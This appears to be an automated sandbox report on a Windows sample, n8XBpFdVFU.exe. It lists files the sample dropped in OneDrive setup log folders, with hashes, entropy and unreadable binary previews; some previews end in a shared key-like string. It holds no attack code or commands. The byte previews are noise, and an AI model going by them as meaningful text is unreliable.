Preview:	EBFGOH8...j...e.8.-.4..ZR.(..;.d....TC....m.E......S.......K.4]K....D....=.....Bb...-.6......jK-..h<....t.c`'..8.`\...Zg..H....N!..`R....IC../Z3.....1..r6._...c.D.~.$.-.,.W.3>g..L1.!G.......]...g .Pl63...Bs...l.......0t.I.Z.g....ghr.....#."2Om...L.I.kqx.H~.3tB6=GI2....}....u.4....d[.t.......(.T.p..Z.?.o...5f....j.....#.Fy.'..Uy.^..i...7A....3....U.c[........../.M.......f..a"LbY.p...k..n.U.eWm...b.f1..t..Vx .../.X..!.I...M...H.X$.3.C..fV...r.][..&.FG..~........A.i.R.c.~8....EA.JT.Q.j.....c)...\|.L..j.....!0.6..#Q.".......7...DA.6+...<.NH:o..F.D..>..H#9.9._Z......z...^./.{.z.u<Zb..#....N:n-g`..i..h..9.U.t..'...+.^.w.y...Z.....vc..{...10..y.....J...x.Y..G!.X3ec.]tFj.\|t...D. 3"fq<SY.=...V..TIL..$.x.]...h................g.....x8..-(X2.AD.R...A.....J..)......jg1b.....]<.KJ...Q}...;.....LJ.._..u..}:}...4A_...2...-.I.m\|..b..g+.q.RD...T...Y..jr..#........H....@.<.6.Uw.OP+...;.&6B..f..-.M-...c.r.:LB'/F.vL.N...d6.TA.e.-v.B`.>.+;g.b.A"....U......).

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-2023-10-04.1059.6292.1.odl

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.5627067615303185
Encrypted:	false
SSDEEP:	192:yNZ3jWEO61ycUgMbaZA5e8Q9qRsOxq1xsu/hEosKW:yNZ3jq2pJZU0qRsOWCEuoB
MD5:	3226CBCD899BF2A3033450D5ED8F7F55
SHA1:	D924600F4DF1260B8D7F280AF07157AC21ADCD4A
SHA-256:	FD75E968747FA3675903CD7839CB3307ACED4A8B2CFC149D8E1EB7C0D418EF5D
SHA-512:	7204F6FE522D4BFE83E5DF004715D7D01B2A6041D4BF21C3303C2BE03A3399CD3974CF7E40513A5EC789620EDF93D690F266ABA6EC3F4F072707A9B9197C2FF6
Malicious:	false
Preview:	EBFGO..a...tLQ..\...D.Iv...O..>.(?..m6..y..;W4p-...Z&.vz.L;m(.....S7gE..(.4...)..s1........fd..=.4_JR xg`..i.L.u..b..e...Bf...G?"..ua5..Xr..\|.W.&s.G.8.N9X.v:...w.!B..n.d{.#n....W..i(&H.No[...N.....4zMG.l.WKu......U....'R2q..R......G.....<.......bJ.....{Q$.....Q...m1v..[.....C...#../.5d}..!.......as..$g...;.. ..g!.!.....=.e;pE;).g.t....F.....9.K...7....V>I.....l&.L..`.S..,.4..............^...yn..z...Z.~...,\|%[.C.cT.i..}..... ..V...+...=..E..W.:\..4.%..w}...B...R.5.cmz.@..j..uVu.1{..J...+CI.N...:.(..cGs&..y.KRr\..u..L.r.d(.JH...7.=.....[..q...U.VL....j.z.L"H....9...p......L..~..7...A_..-..Q2.....-....P..m..4A.I@...w..#.7E'R.,...!.G...`../..g.....?.g.z.r...?.)....~1... ..Hg.f_,...le.3.....J..;..WirR;[m.+<}.\...C.T..6eM4.}u.#.!..).a.x.z<...w.r.O..c..k...N..r.;..p.e_1.}a.P&,...we.....xf..F..Jv...]Fcp.\\.......(.^..K2.(^X{8..G..p....bfz..+..f.E.%F?....y.che.f....h.....v....P...5[.o..;es.QK=..rr.pM.....P,./_\|..P.,B.d..m.A.v.O....U.~W..u&..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine-2023-10-04.1059.3196.1.aodl

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8650130866250948
Encrypted:	false
SSDEEP:	96:uyOpAVi6LdVCqQj59QVXCfkKBGKG9EEeXUp5XrwNZ:rO25Gq+594CfkKI59EEeEp5Xr
MD5:	B0C32DDAF57FB2676172E3BA0E183683
SHA1:	A91FB9A3E45CB8DFCE5E6FC37B5682AE90FFF44A
SHA-256:	0B7029144260854CED3022FD59730C84B866652CB10C1BF45C10A5843998C693
SHA-512:	9A1D4423FF8E193E10AB7863254900043DBCD12DD196739B318D7FC286383F0F71D9A9FD4681B6BA0FE3E91E2D23C01747BD23EB131FA84CA698FF114A275E06
Malicious:	false
Preview:	EBFGO......'_l...G@iu.q.$@5....7...t..@...JC.A......k[>`.Z.Tb.>.........-....\|..t<..<2>}..;.....d.zD@.v..G.3.E..cs......=.v.;x\|.W>.il.[........C..`......"....8..X...l..`..........>}.e..N.1<.C.K.`..@.N.g..y?y.ZP.#.........[\AT.H.M.I...[#........zir....L...)...F..v2.s.z.^~Zh1...U..zvjd...P...(.}.....jr={.x...\./..+..?d.#.....V.:d/.C4F.d..^ai2...V.e.,S..R...'.z#&"...C5qG.....L..JM.....0^....X$..m...B......d....#.4+c!Zii..'E7..v....l...ou..M......h.i..E.\|#v.@o.0.l..D~..q3.b..-..{\.5..i:....x;m.v.1...W.y..E.?8..(.........h... )^.PJv3+..y...-+ki....<.X.....{.P.N..q.......7...I...........h:..3....K.........5.eH.....1.....qw..r...R.rc....5.A}.v..D..V.......oje.=....8.1.~Y0 .....l..+.N..q.."..Sl..Ui....._..Z[q..B...\|.5....hq~..I...T.S.Fo]..(z.Yo.~...\|.S...b.@;..c..r..z3 ........B.......'f...]..b}Y....e...:M...bC...D .N>9.'U...P.l.8a...@...n..9.V..X.2.v.M.)vl .. .FM.]4+........B..^...*.K..q.7...E..L}..u4.Z...1..q..=.._.q.Q.`.^.{.J

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine-2023-10-04.1059.3196.1.odl

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.20618490609585097
Encrypted:	false
SSDEEP:	24:zctWRJvv/Fx3MS4wosyV1v6sx5/fhvbz:DRd/d4woBV1vTnxz
MD5:	9C4CD1DA64A0D10F2A0241033F3813E8
SHA1:	7E4B1CF305F30AB6A384699E2028E884644E92CE
SHA-256:	9647E583A994DA7FCECB62406E8ACF7D28073A056F80B8DB191C46BC6D93D952
SHA-512:	33B3C6994F2C135BB8485D502023A531389B4CB561F822ABECB49F13E397DF6C5D9765A1E11BFBF11219DC8AA4B02DE67B8F1F19DE0E3164A19C1D43ED58ED7E
Malicious:	false
Preview:	EBFGO.V...w......w....$\.I.......8.\|N..)].<.b........../w)q....Y...%.8...%..."....8p..D`...uaK;!.....E....\|..;V..8b.....f..[.;/..HX..l....A@..K.:..?.}-$Ih..04S.....d..........e.Dv..{....-JE+.Sl.&...b....pR...c...@....^...8I...n.p...(.G...H.._=.`..X+BM...T.0M.C.R....5.4....?...^.G.:.W..N.....Z.XY..jl=-..Fpdk"D.xj..W...g+.SP.....WIb......A..#8:.B.@..n....XE.&.G.&L.!5z......../..&.~.X..zU`.).[L...[...`.[O`.#..R4......xN.......p!.~.@..D....@,.7..ie.`.>.e.#P."H.;.>E.._....g........1.z.,....n55(2.......;...]....c.].....(3.P\.~...y.Qi}..hr2oB{.....@.x...U..&.!...#VV..[....xz.....F.-jX.....}E..- .&c.(..b:{z.NX-]S.ob......[....l.trT...J..BG.i...z..R./..k(3....;.+..2!.[G......X..W....r....r...T.s..-~.a.=.+.=..[....].H V..,,.....@.....B.2.:.>......"!.Og....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}........................................................................................................................

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerMachine_2023-10-04_105957_c7c-3d4.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.452890299625796
Encrypted:	false
SSDEEP:	384:LcmmXOF1AWd1fIMsXNRW9wiMF2FXarOwpiosM8RDUPcEMgs09XGCu8aZJIUX9PK/:6XodJIMSGwxF2FXFItDI00OV+9ifIb
MD5:	05003FE47C0AAF653F14BFAA701E846D
SHA1:	77292B563E64F0626E31B8F949CA9F3CCFAF8976
SHA-256:	FED51030C4DF125B8B0A98591BCBDEB1EA576D7C81A585DFCAF583AB7195B29B
SHA-512:	975D878942A5A8ABC5A521DD22384DF867AB0281D81E131E59C477417C5AFA8BAFDCBC4E7E54078A2A3BB905EB2CE910974CAF7CAA02418A9E0F4F4A8670A221
Malicious:	false
Preview:	1.0./a.'..%....u..........m,..\b .U...".l..F..iQ...2,1.X4.KW8,..u=+}......e..b....)........6..k..vL...J{..w...q..B!$.1~E..M......1.s\|..7..q.`WV..\.C'.T$V.u..........ms..q.(.R...S.1H.o...........2I....-.Yi...4...4Gt....r...qI..._L...,E.......pw..A...:}b..b.9:j..@.......m..Qx].....n....j...h.j.y.%)..........w.J...8kS..5.$...$.s... .zw..V..y...N.G..5^.K.U5...3.5.W.....d.81...gM.1zD...p"meX..._.9..u].(..p.;.....h].....6....O.`.^.B4..L.2...@.L..........7..~..K.`.U.....6..u.d..5C......!..)_.>..a...HG2....h.;..A&$..G.(..+......o.....B.T.8H.x6.h...4.....qJ......u4.m.D.....a.0.!.7...q.G..,..:....\|.H0.K...Q...j...:.-.!.~..[T......FV....\.q.F......)8..0..k.5_..h.....6.1.;..'.$Y>....(.}+....k....?QG72i.ndr.....=...O.Z1...z..]..h).....53.%.....L.q....KW....).,a.[.....!.2...7.w.e'V..j....{/..d.MU...&......R..G..K.4....qdb/r...Z..~.0..&..E^2..m....A....@=~.%0...Mj.......^.>X.....w..q.+..>..Z.Ap.+...!B..A....>...&EfCKU{i.G2x...cE..K...3.?..Hf.bU..O..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser-2023-10-04.1059.6636.1.aodl

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9418908958937843
Encrypted:	false
SSDEEP:	96:a1g4hBWf3GM0kpJ6Aza6N68DBiNq7LhoRhWp+OuQhc1DiZeh:aev3GJ46Aza68UAeoRbQu1GZ
MD5:	CDAA163E6AD28474324136245DEEA994
SHA1:	D298CE8FC145F090903702F49ACCDDE14CA3D66A
SHA-256:	DF39B34D25653F7E76185315846B5612EF14A8D13D009BE717657D355FD44FE3
SHA-512:	D3FB451D325158323249EDD3F2C46B033BD5C6A7494A92DB63553F2340B753394BC23D8B2703B868FFB150006DF1E509FF1ADCFCAC755C1B81D4C17A2115283A
Malicious:	false
Preview:	EBFGO..A...H..I..O.bz7h".R`=....<..mm..#.M....@..v.(#...c .......E.....&k.rx......@q...U+2x..OQF.3..w.8.3..[....x....^,~A...'.......ID.,.N..a)..%7...mGnSDm...\|..9.]QB.)..S....7.M..!._.clo./.D...v.......C()-....W...;+Gr.F..Z...iC.'..t....0.bY]..@0.%...<a.b....._#m.a.?....J.17ND..Go... \|(....7..a.}b.xu....(....Mp.b...0.75....gi.Q..N .X.......pu.AB.....b.N., G........... ..rb.wI..$..>....5...z.Y8D..J.D.....ts......W.]. .c.T....y......).<K.h. !.;....U.`..+{.c.....39..9..Hs.....4;.x...G...`0.a.....K...<..#U.5._Ig.i.....z2...].'...1.O.'.1..tm-g...].X....'.....r...q....M.7./....5...cr\.l...0..Fge.xp.E{$..7....N....O.{.hO.o..{0..hc]{.N!t..1.8c....Cpk=..$....W.k.B...s;.2.......>..TGb.Z.......#.o..1.".....'...i.j..%hA..&2...(..[te.....2d].6....9..s.c).C...`..A.7Y....s...6........_.N6EmR.............J.S9#l..'.FC...a....0..o..bf.aj<....}..XD.}..H..S...\...:..g.....'..A.R_.u1\|Ow.A..sJ.j.#N.....J.MJ.......z..ae.u.D_B.;...`...l.%...<)..gGA....(k..G

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser-2023-10-04.1059.6636.1.odl

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.20633895260135898
Encrypted:	false
SSDEEP:	24:vWRVpK2hjtcODGwcMhgdgIY+1dZ993HHdu8O0gjBO26Dbz:vqVrCGVk1Xsjs26Xz
MD5:	B88C7C17E5802F455CEEF3E63CA5C059
SHA1:	9478005D0F4B86718F93A33AC16F1DE08260780A
SHA-256:	C149E8985F0424F4A525CB75ACB4125224564B4D227819BCDA83D3A63EDBA07B
SHA-512:	2CEEBC3B3E8AF4D03E41AB96B360AB6D9629298FEF207B4A2BC9739E2C80F22C04514CFFFBC5D4EE5C302AA33DFD4FD861955F2012F1C45D0593CDE2DF7D4517
Malicious:	false
Preview:	EBFGO8~.I..8.....H...,q.Qb....\|.?G..~.[Sq.yV.....54...Df....~...s\|A....%...h.[^..r...+.O.._.D../....VT].fN..7.........,.......X....V.,".?.+)q....'...Z..O"E.48E!>.a..j..K6r...v..4`...3....kR..H!..g....H1v"......N...M.$.1=.;....x%T?....N.K.......Xz.....9.e.\..m........~....... .e.E\|G.."..i...N.VT.. ....F..B5..#.%h..U.(..J.u.k.....(...Ol.'....&...{n..$.....w"P.O...P...c.w..s..".&.7.hXr.......\|{!.:..I.ncm...kQ..Hct....c.,.Q.J.....;gvZ.b.b.. ..R...O....5.Y.PR..%....~...3.]......w.9.G....1J..nz..7........$d.#)...$..(....[.T.#Ip..c..).j.H.v`.t..o..D..o.r...U..Tu..6E.0..4..<.SZ.Pk._.e.......*\..^...n.5^..[..X............hK.4..V......(.s..q....}.k=.Z.j...Y\|...}.......0.j#.:~....UH.....33..l.ul=..,...B...s....(R. .w......$.g0KC...v.D.....>.......lt..Ya.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}........................................................................................................................

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall-PerUser_2023-10-04_105958_19ec-19e8.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.892641935738992
Encrypted:	false
SSDEEP:	768:574lOvhGwRIzHkGsXt94N/KjNOQK0hZk7Yqlypo3X:5iigwSzEGs96NCJDhZBLo
MD5:	82E814D777B64DD333F70AF670936CE4
SHA1:	A68520D3777C801AC22F4925EEBF4BFA21A64223
SHA-256:	8B2F041F71C0CDEAE583718D3470BECDDF8ED7C438653117184E8F1F9D430827
SHA-512:	16907A7F0669E9FF6B6B593F44AD16A4C709F0BD400E4C218AEAEF3D316399F4AD3599B8C2AB48EAC49FEF2AA769876B6854D53ED8FD60B685041A5E03F0C618
Malicious:	false
Preview:	1.0./!.....z..Id2.../..d.q...0.<..1..$..j.q$......6P.==..].0..^......^.S..`t.c..Y=.....<..1e..VF2F6.n.^.;....X(...x.!9.yW..'yFo0..)..0N=..)...!..5.'}.n .5..g......'..;3....:.R<.1l.c....>-%.5.....F.....3..m}.5.I...S'=.j......5.....8........Ea..S..7}.>6.C.1Q.."I<X........w.......FCK...#P..KBl.)(....(..01?.]+Y...O...3d(.?.....{dl.h0.........(...<4..HJ.......Z.Lh#1.H.o(.-..].f.....8..r3tS..XY.pC.y>...!.!4d..7_.eZ....e$F.M.=....M..JG.O.{ ..T.....J.r.Y... .E..0.. ../.%j....9...*Z..Um..........Bv.............k.:2e.......^+...'....^.,D....,-......rV.....#.4..pI..a.C.F..,..5.5w...MC.l.F....(f........z..i......#.I.C....J..Q...@".r.K....&...O..>+.8.?...QJ).i...../<....r..$.-_B.#...n.....n....k.............!.....i...-2.V0....\|~..e..w.p...q@. .s.x.0....3/.iZR.j.....)....<Fk{..ZF.. G..pSb....<.Zy..F../.j.... ..b.....~..8&...+.a....).df@v2.#..F...N......o..^.Xu.8.+........x.b._..\|..?..,:.......o.`....#.N.?..[)..Wq...W..m..%8.V....+.,.J}....[...

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Uninstall_2023-10-04_105950_1894-1898.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.412254494913919
Encrypted:	false
SSDEEP:	768:nSiooqmWPoJ5i4TMk/56NaUox0Ag4tG9h6jFbEn5:SmVWPMjN6NaU+t6ye
MD5:	757D6CECFCD6CEDDCA62FE45A26DB72D
SHA1:	62219C48794468F1E6EFDCF311262DD1BE1A8EC5
SHA-256:	E85A6B34DA01C112DD0FBDA2A46977E2C01A099696DE982D4B8A4E3167781390
SHA-512:	F405BE9F4189DACD82F31919CBDA770AFED07ED9C22DE7FFB887DE3BE989B5477B71402077117095577167E5727179E295A2260FCC4046D741928E76B5838F5A
Malicious:	false
Preview:	1.0./~f/m.E...o.3..u....a.[...t.N.....m..\|.h....;.)u3&:.+e.{...0%..H..Rd......Z.x......]P3H.....]...A....ca.Q.s;~...4....\|..0c..wM..d...HQ.#..vF.....a.\Z.8.....>"..R...u..{;..8.\|x.^.h.r.{%..pS.z.^?....$.4..j.T.H....C....@....g.}.B;Y.D._A... b....Z!T+t<.TK..........mk"W...K5..oko..1.... ...../..%.....9r...-.u..q3. .~.m.6u......8Y...~....X..6..\|..\|!...vf.~6t\|O..K.N_.......u....._:.;.J.S.G.p........v.:KB.r.p..L....z)M..Ki.:..k...>...'...2f.M.t...6..}.E.U..6.A."...6.I>A6....0XY.5__b.!}.."...%..fN ....I6.^......L0...:....o.6>...P...8.[.H...KF.lF.._w....2s.{.....s...7I..$....v./W.....{U:oF.9X...0.x.,...0=......^Q....]9.....i:.......>....L.K[......f...(.J....WM3....4.J..!....x^.y......N......D...........O..U..}..y.s..{.W.Nz\|>>mz.... .D?.G...o:.b........u_.].uo.....a.V=....1..+.1jc..[.{.i.N... ...vCa....5..B.L{...G..PX......L?vt ..jfY.H...$.6c....a~d61a.9"^...N.....a..[.....\.#.....%.V...X}.^.<.........fU.u.3O G..........?.>.A...;..K..8/.{

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_114942_500-1efc.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.555866442042191
Encrypted:	false
SSDEEP:	768:suP3rfbALMn6lUBiyfWmFW+BvmPmvSXeHySYoY+g:sCrUM6i5fWjP5uyv
MD5:	45FF99A7FB0BA8C7679ABF0B298DC896
SHA1:	D686DB976D18EADD945607D29962A2227CC9173C
SHA-256:	E6C66033A72D8E21E435BAE90E736944CC1B6F4B48D8E834889B3EA2A8CBC21B
SHA-512:	2398C741F666608A429489E54751210DD028F54E4C779984C1FC1E60887ABF9B3A68FBC95500CCB72556AFB40453C870046E034EC184AC0D5C388C483740F16C
Malicious:	false
Preview:	1.0./..z7.....{.e...6....,.a~.[,...r....:E7.....@M.C{..y..6..c.5...0k.G...V[..u...I)8...K..y+b.ZRbk<.u.....u{\|ld..b...z.T.)...X....x....u...n.:.......X.=".<Xk}..X3.5...9&N..l.'.b....O..q....B..!&..@c.\.5..>7'...C.Z5............B......va.\|T....ZM.pg$.&....x.....fpQ..h..g....q..bP6..[..Akw.+wQ.-.g..l...7.v.......M6...4E\|...Qu..^..W..'...H]...QB_.Q.78...jA...~..U.q9..C\..M.\|F..B....E..Tn....(j....../D.1hB...iXd..vo1.5.TF..bu]............s.8F .Q.4I..~....M..je.N.L\|$.QTA...6.r+.MmZ...-.r.x.V.s.b.:.W;..!..H..3.Wu.......$....8n<...Q.r.y.I......N.o...0?.?(..R...vDX........;...7aq. E..u.+T..k.:.j...F.R.J.. .._.ZY.t....v..^a..x....p;.E...Y....H.d.;,W.\".<._........^.`.._.O^WB..]P...=G...q!.....8..`....P'...i..I.._.....:J...Y.u),i.$....Y...C.y.>3s....&.{.C..>.q2.{:.....$.1_..})p.C'...C.d..Fv.d t...4.ZC......"(..I.~...W.Su...B..K...w....0..,...8._.wt..3.J.~.\O.^.B.A...mv.VDt.....%..}.5..a_....&=.Om.....#...!U.YS...O_.........5v."a.B....b.CV.....S

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_115011_3184-4676.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.3115284324741956
Encrypted:	false
SSDEEP:	192:gTycpmGxrt5DqwGEpYyD7iXICixLOQ+BXuZ:KHpXdvYyXiYCAKQz
MD5:	C29073DBF9679DB0AF1C4D82866E9B6E
SHA1:	ECFBB37F6E03DA98DAAAC00C6991CFC040218C7E
SHA-256:	C553B3AC9D9DE5288F68C4A2F5CC1C684FFD2ECF6A6015C9DBC7073BDD208499
SHA-512:	0ED2C14EFBE0D99B352E43DAD5AE348E7753059D6B755706E10B7D4E378A755C7210BD47C63C7F118778F54A1B19ECF18D9F5493563513C555EBA012DD083250
Malicious:	false
Preview:	1.0./..C./[(sh.^..o..Z.G...>....d..Z..).....]...G(.P....l.e...4.8L&.X..Y!.U..)..$...>..$c...<.z...!.Z..ekB.N..7..%.WfS-.=t9.{....1..0r..K...t.N....&z^e!...r.:Q..5,G..4t.I..\|.\|_f.t.}.$.....2'.UK..<.<./.C...U..Rc}6..94"....r...C......,..G./m%&^=...eO5x<.=.3%.w.B.&..@\.U.(.'.g<.a..`.5d.............UKZZk.w.P.dfUgL..2-....`.=.Xw.......d:K.O.W$.}.L.uy7Ev..f.I.5..bm.{.a.-eLG.z.......fp...Jc3'>..oI...N.....$t......H...J.p....~..h'.......p.[6...}...EQc...%iCj...P8....R5..Xw).Li}.h.:..'?.:...K.\O.b.&+-..\|.,..I..$Bt..hO.R.G......$qN.V%_..d?..~....;........:...q.Ig.j.T...\|...@....=..J.....J..+....+;..#....5m.....b...`C.\|.a.5[...<.....@b..1.-(.`......6...T._D "%...Z....9pvLz.Z.2......=.!.>rr_...0.Y.gG...i......1..DQ3....n..{.1..@.c...7T.E.... S..k.Y.}.A3^.7.FO.i1e..k4...F...,.......a..(....G...33!..*9.U..e./;......^.,....8k...u...\|f&9.@t.\|<R..b.....8.....F..G...Z.,.X...R"..../...t.../.?k.e..L......X.... .g..Bn.@_...6..tt\..>#.....E..Lt......B.dF.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_115204_7008-7012.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.5761145291388861
Encrypted:	false
SSDEEP:	48:pYnVE7mhV3Usv/UxFADM3CP4AJ3aNzwE5A3MrR3gA7vd9Cmdx7swemz:pYYS3UVLSw28r5X3gA7OmL5
MD5:	B6BC1526F0D8054496C757647AD48539
SHA1:	CCF73D8FA640AB85537E19817396974DAF17586C
SHA-256:	6A205AF9605B5B4E81CCB88E0AE393DA66B1B8A096D35A3BD2C422598FDF3260
SHA-512:	6674BE5B8CBED6FE18E62482DDBF24159A5A6325F2B2732BA2B6C6AC01874E3B3FDDF9DB96CF63776BC91F65F80F5E8F25E8281BCB1F6D46F311A711C7996938
Malicious:	false
Preview:	1.0./UE[9.r.p..=@.x..M..W.<M..{..h8\..^........o.5..X...uo....!..."..I.'..v.E..S....t`...&...u'.'... '].v.!%4.4.q..Q.,..5..-.&M..1..s.8......}IC0...\.}......cu....H.o..=$....W...6cr ......QE[.g.o........yQ7.^.}....5E.9....<Xg9wY..6.i...!..=..6...I.6.AO.ww%.e.h..\.Rt. U..$.....M...P)h.W...-.)r...w\Fnw3.PqA..1..c.V..9...).... .D.".F.,.Y...F.#.<.....D......v...EM..\|.^...}...(V.B..&....#.5S\|$..?.....^`G..8ao.X..b.\....)6..u.57..X..]...,..i.s.3..Y...q...S.....L.@...?..<1...T$....x.\|sS......n..g...@W6....i...Nz...p.r&$...K4.<....d.c.z.Q.1.......1..M..-.*e.L.....f......b....\|.P...!A.....D?.O.G...-...v../.O..4PZ#>.....T.....!FD.{.q.ht.9.2G.Kjvh....WBnQh.e.st.A...-A9.V..b...........-..FR[0....NQv...G..W../[...1.............v.e..vPb.h&v.6D..T;..B8......1./.0.D..l..].G....!W..a...........9....`{...W>..p...&w]..,3L......C.4....m...Ps+.........;hj.d^....... .....^G..<.......(.WV.GJFe.Y7...VUC@].s..f@.....yeIO....4.w.W.....&4^}.......&....n.V...r

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_115740_6260-6264.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.5757925258175922
Encrypted:	false
SSDEEP:	48:gq22ezu+2JdU1XIsQUCIB3QJIeR9maSw8BaBfeJQlY2U8VIlz:gqOF2Jm4sQUCK6XR9maSwBfAQlYL8+t
MD5:	011D9AA667BB74A076B8CB3D38F638FC
SHA1:	0CE9EF84696EE928284E01DFDC5A020CBE8EEE15
SHA-256:	6380EA1C59151F377473B1C600A924EBCA3AB24B22571EBA36AFDF31B135BEF9
SHA-512:	A381A400143DB95D5437A5C87FE0FC9EC72D110D7295E43F99C7109A5849C4452638B2A746486E8F53795FD093A8D656DF3EAC0F0B3E237B70AC94C43C04B213
Malicious:	false
Preview:	1.0./..f..#/...R.~.%..c!.n..<..n...'N.i.+...{..+.3....sR..5.6....6{0t70.tD.x..UQX..H(F.G/x.wIVOn.u.'.U.8..9......D.<t......A:al....}l.$...J.lxR.a... 0..i.N.M..S.m..$ ..9.......6...OJ\|....Bb..w.V..}s6.)....g.7..9...#vk5.h.1.......4g.7.O.o..g.`.o...<.&.....:o.H.... .{..7..W....-..#..2T.e.+...........x...h.-k...~..$..;..E....`/..6"..Y.:....={..z./.?KL..M~..qr...1]~..&]....."%,.6.P(......7.d...5..g.4.OZ...b;.H.....Q.2U.y8..p.9!".%......5V...=.;.Fp.....C....E7.rY.?.lq.(.y...c{4/&w.Lg.\|I.Wk...0..."......kz.X<..(........b....b..p.J.w5.[\..}F.D.K._............=..x:.7.\|...\.3?..u=T.Hd+.W`..6...L....=.z]......n>.......B..!6.U'w.w...+.t...@2......t..i..Puj&!=&^..D.$5.......i!.?n.......v...H......1...[..!.j.[.L..f2.p.7fea7... .3.~.>m..@Yx..8A...?.8D-.u......pY1w.v.L...U.......\......nb.F0{......<N.C...ZY..T .#.d".]...Q...W-y....[.**..j@.....A.....{}..T.ha"......0....\9.#.fs)..:b....'....C...q.0....G.....\.'x...E.[.y_g.?"L..#.Z"...r....y.S.T.1x.

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_121144_6972-6976.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.7271202999561166
Encrypted:	false
SSDEEP:	384:AG7RogPvjYAU8eKH6smieREckbsT0Ngqyf67:JR1w8eVd4di0Gu
MD5:	BEA29F853B1BEA2F97A87EAB3063A5A8
SHA1:	51EFC943BA3BCD5C59FA18485FA4910397E7BC5F
SHA-256:	BF13BBD2DE8352B22A25BAC5E1A6988D8B3FDBF955D3D77B524481A7F9CC28CF
SHA-512:	10727F9754A516AB1024619FB2DB0269913B5EEDFEAF63E77032068C3FF94755F1E9BE4B69E4141555D265AE91A612022EF5CDF6A380DFB0A20B15161BFB47E5
Malicious:	false
Preview:	1.0./....#.`..N.....`5-{M.5Z/n E<.... \..W'.w+0M........V[......W..^....,.UP.}.Z.(.".S...N..>b...>.].[.W.. &.<o<.6w.u.......0:]..R.R..(j.L?..<.ya..2..c...o..=......HW.E......Z8.B...........N..3&........x.V.....x]....U.....`[./D..wG...<E.....7...]._.>Pj........[...:/I...??,.!.v..IB.s.j+..R..<.......f.C^.Cj..O.,."ByC.%+..J@pHUk.(~&l/.t;A.j.....}.n.....!..q..y..6\.@.)q.<.B.._6.s).+..T3.j..!..>Asr.^..a.q7=.oVEXR..o.2.w.a....i...8w.15..{"......2n3........D8.V.}.@.....L.3s".`.,.w....a.....h...AXZ$.R...i...=.{....=...k...M...q..../....l......H..Z}80z3.z.L..f'.....V....LL.$....q;$..Y...XG.....m......N.S.G.J...Y.......?"?.!...S..cJ........H.r.....=.](K.R.f.m...!.........W4E....7.`....T.......I........z%.f..S.X,...'..[.G.7...X.w0...{i...\|.s..2.P\|..z...=..M..F..[`.8.Z.L.&...t.r.\|._.6..g.1E..Y?T.....X....TW.Vv.;E/YR......,..ua..W.w.R.4..F)......X.}$5ru.}.t.s.s.h ....L).$Y..7........fs.WOgn^......B.~Hp..N....';..qP.`.U.s..pg.......h.....kf.i..

C:\Users\user\AppData\Local\Microsoft\OneDrive\setup\logs\Update_2023-10-03_121212_7980-7984.log

Download File

Process:	C:\Users\user\Desktop\n8XBpFdVFU.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.6019455589441667
Encrypted:	false
SSDEEP:	384:h7rOKQJBDhWAjtDzT0UzNaGgBWhaOdbJE22nb4d0:MKQJNhWeeGgBWVdb4nb
MD5:	4F9BB41505AFABD75DDCDBBB43D11E74
SHA1:	E66994C93DBED8E1BE79B8C52548A6F73D908CC1
SHA-256:	0759BF34BDEA0C6793993BCE10E829FFA679E51A38AA266E05ECAD04EC8A3945
SHA-512:	0E2017956DA791D846080186CD2CBBEC3C5C69A88CA172861A2DC25E212ADAC341BCBF35CDA761D6E0630BE8BBD9ED719929879EF253300A3539B60934A79EF6
Malicious:	false
